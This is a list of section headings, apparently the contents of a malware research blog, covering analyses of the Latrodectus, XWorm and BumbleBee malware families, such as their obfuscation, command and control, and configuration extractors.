Latrodectus Update #

Strings obfuscation #

TTPs #

Configuration extractor #

External references #

Conclusion #

Focus on XWorm obfuscation 🪱

TL;DR XWorm #

XWorm data obfuscation #

Command and Control Communication #

XWorm plugins #

BumbleBee notes 🐝

TL;DR BumbleBee #

BumbleBee capabilities #

Campaigns file format #

Configuration extractor #

Resources #